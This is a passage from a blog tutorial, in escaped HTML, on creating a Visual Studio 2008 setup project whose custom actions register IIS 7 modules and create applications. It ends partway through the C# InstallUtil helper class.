&lt;/font&gt;&lt;/div&gt;  &lt;p&gt;As you can see the code above is actually really simple, it just calls helper methods in a utility class called InstallUtil that is shown at the end of this entry. You will also need to add the InstallUtil class to the project to be able to compile it. The only interesting piece of code above is how we pass the TargetDir from the Setup project to the Custom action through the Parameters property of the InstallContext type.&lt;/p&gt;  &lt;h2&gt;Configuring the Custom Action&lt;/h2&gt;  &lt;p&gt;To be able to use our new Custom Action we need to add the SetupHelper output to our setup project, for that:    &lt;br /&gt;Select the option &lt;strong&gt;View-&amp;gt;Editor-&amp;gt;File System&lt;/strong&gt;     &lt;br /&gt;Right-click the &lt;strong&gt;Application Folder &lt;/strong&gt;node and select the option &lt;strong&gt;Add Project Output&lt;/strong&gt;... and select the &lt;strong&gt;SetupHelper &lt;/strong&gt;project in the Project drop down.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_5.png" mce_href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_5.png"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="244" alt="image" src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb_5.png" width="212" border="0" mce_src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb_5.png" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;After doing this, the DLL will be included as part of our setup.&lt;/p&gt;  &lt;h3&gt;Adding the Install Custom Action&lt;/h3&gt;  &lt;p&gt;Select the option &lt;strong&gt;View-&amp;gt;Editor-&amp;gt;Custom Actions      &lt;br /&gt;&lt;/strong&gt;Right-click the &lt;strong&gt;Install&lt;/strong&gt; node and select the option &lt;strong&gt;Add Custom Action&lt;/strong&gt;&amp;#8230; drill down into the &lt;strong&gt;Application Folder&lt;/strong&gt; and select the &lt;strong&gt;Primary output from SetupHelper&lt;/strong&gt;.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_6.png" mce_href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_6.png"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="172" alt="image" src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb_6.png" width="244" border="0" mce_src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb_6.png" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Click OK and type a name such as InstallModules&lt;/p&gt;  &lt;p&gt;Now, since we want to pass the &lt;strong&gt;TargetDir&lt;/strong&gt; variable to be used as the &lt;strong&gt;physical path&lt;/strong&gt; for the web application that we will create within our Installer derived-class, select the &lt;strong&gt;custom action&lt;/strong&gt; and go to the Property Grid. There is a property called &lt;strong&gt;CustomActionData&lt;/strong&gt;. This property is used to pass any data to the installer parameters class, and uses the format &amp;#8220;/&amp;lt;name&amp;gt;=&amp;lt;value&amp;gt;&amp;#8221;. So for our example we will set it to: /TargetDir=&amp;quot;[TARGETDIR]\&amp;quot;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_7.png" mce_href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_7.png"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="172" alt="image" src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb_7.png" width="244" border="0" mce_src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb_7.png" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;h3&gt;Adding the Uninstall Custom Action&lt;/h3&gt;  &lt;p&gt;In the same editor, right-click the &lt;strong&gt;Uninstall &lt;/strong&gt;node and select the option &lt;strong&gt;Add Custom Action&lt;/strong&gt;&amp;#8230;, again drill down into the &lt;strong&gt;Application Folder &lt;/strong&gt;and select the &lt;strong&gt;Primary output from SetupHelper&lt;/strong&gt;.     &lt;br /&gt;Press OK and type a name such as &lt;strong&gt;UninstallModules&lt;/strong&gt;.     &lt;br /&gt;After doing this the editor should look as follows:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_8.png" mce_href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_8.png"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="189" alt="image" src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb_8.png" width="244" border="0" mce_src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb_8.png" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;h2&gt;Building and Testing the Setup&lt;/h2&gt;  &lt;p&gt;Finally we can build the solution by using the &lt;strong&gt;Build-&amp;gt;Rebuild Solution &lt;/strong&gt;menu option.     &lt;br /&gt;This will create a file called &lt;strong&gt;SampleSetup.msi&lt;/strong&gt;, in the folder &lt;strong&gt;SampleSetup\SampleSetup\Debug\SampleSetup.msi&lt;/strong&gt;     &lt;br /&gt;You can now run this MSI and it will walk through the process of installing. The user interface that is provided by default can also be configured to add new steps or remove the current steps. You can also provide a Banner logo for the windows and many more options from the &lt;strong&gt;View-&amp;gt;Editor-&amp;gt;User Interface&lt;/strong&gt;.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/clip_image0024.jpg" mce_href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/clip_image0024.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="199" alt="clip_image002[4]" src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/clip_image0024_thumb.jpg" width="244" border="0" mce_src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/clip_image0024_thumb.jpg" /&gt;&lt;/a&gt;&lt;a href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/clip_image0026.jpg" mce_href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/clip_image0026.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="199" alt="clip_image002[6]" src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/clip_image0026_thumb.jpg" width="244" border="0" mce_src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/clip_image0026_thumb.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Visual Studio provides different packaging mechanisms for the setup application. You can change it through the Project Properties dialog where you get the option to use:    &lt;br /&gt;1)&amp;#160;&amp;#160;&amp;#160; As loose uncompressed files. This option packages all the files by just copying them into a file system structure where the files are copied unchanged. This is a good packaging option for CD or DVD based setups     &lt;br /&gt;2)&amp;#160;&amp;#160;&amp;#160; In setup file. This option packages all the files within the MSI file     &lt;br /&gt;3)&amp;#160;&amp;#160;&amp;#160; In cabinet files. This option creates a set of CAB files that can be used in scenarios such as diskette based setup. &lt;/p&gt;  &lt;p&gt;You can also customize all the setup properties using the property grid, such as DetectNewerInstalledVersion which will warn users if a newer version is already installed or RemovePreviousVersion that will automatically remove older versions for the user whenever he tries to install a new one. &lt;/p&gt;  &lt;h2&gt;&amp;#160;&lt;/h2&gt;  &lt;h2&gt;&lt;/h2&gt;  &lt;h2&gt;64-bit considerations&lt;/h2&gt;  &lt;p&gt;Turns out that the managed code custom action will fail under 64-bit platform due to it being executed as a 32-bit custom action the following blog talks about the details and shows how you can fix the issue:&lt;/p&gt;  &lt;p&gt;&lt;a title="http://blogs.msdn.com/heaths/archive/2006/02/01/64-bit-managed-custom-actions-with-visual-studio.aspx" href="http://blogs.msdn.com/heaths/archive/2006/02/01/64-bit-managed-custom-actions-with-visual-studio.aspx"&gt;http://blogs.msdn.com/heaths/archive/2006/02/01/64-bit-managed-custom-actions-with-visual-studio.aspx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h2&gt;Summary&lt;/h2&gt;  &lt;p&gt;Visual Studio 2008 provides a simple option to easily create Setup applications that can perform custom code through Custom actions. In this document we created a simple custom action to install modules and InetMgr extensions through this support. &lt;/p&gt;  &lt;p&gt;For the latest information about IIS 7.0, see the IIS 7 Web site at &lt;a href="http://www.iis.net/" mce_href="http://www.iis.net"&gt;http://www.iis.net&lt;/a&gt;&lt;/p&gt;  &lt;h2&gt;InstallUtil&lt;/h2&gt;  &lt;p&gt;This is the class that is used from the SetupHelper class we created to do the actual changes in configuration. As you can see it only has six public methods, AddModule, AddUIModuleProvider, CreateApplication, RemoveApplication, RemoveModule, and &lt;strong&gt;RemoveUIModule&lt;/strong&gt;. The other methods are just helper methods to facilitate reading configuration. &lt;/p&gt;  &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;System&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Microsoft.Web.Administration&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;namespace&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;SetupHelper&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;public&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;static&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;class&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;InstallUtil&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// &amp;lt;summary&amp;gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// Registers a new Module in the Modules section inside ApplicationHost.config      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// &amp;lt;/summary&amp;gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;public&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;static&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;AddModule(&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;name,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;type)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#2b91af"&gt;ServerManager&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mgr&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;new&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#2b91af"&gt;ServerManager&lt;/font&gt;&lt;font color="#000000"&gt;())&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Configuration&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;appHostConfig&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mgr.GetApplicationHostConfiguration()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationSection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modulesSection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;appHostConfig.GetSection(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;system.webServer/modules&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElementCollection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modules&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modulesSection.GetCollection()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(FindByAttribute(modules,&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;name&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;name)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;==&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;null&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElement&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;module&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modules.CreateElement()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;module.SetAttributeValue(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;name&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;name)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(!&lt;/font&gt;&lt;font color="#2b91af"&gt;String&lt;/font&gt;&lt;font color="#000000"&gt;.IsNullOrEmpty(type))&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;module.SetAttributeValue(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;type&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;type)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;modules.Add(module)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;mgr.CommitChanges()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;public&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;static&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;AddUIModuleProvider(&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;name,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;type)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#2b91af"&gt;ServerManager&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mgr&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;new&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#2b91af"&gt;ServerManager&lt;/font&gt;&lt;font color="#000000"&gt;())&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;// First register the Module Provider&amp;#160; &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Configuration&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;adminConfig&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mgr.GetAdministrationConfiguration()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationSection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;moduleProvidersSection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;adminConfig.GetSection(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;moduleProviders&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElementCollection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;moduleProviders&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;moduleProvidersSection.GetCollection()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(FindByAttribute(moduleProviders,&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;name&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;name)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;==&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;null&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElement&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;moduleProvider&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font 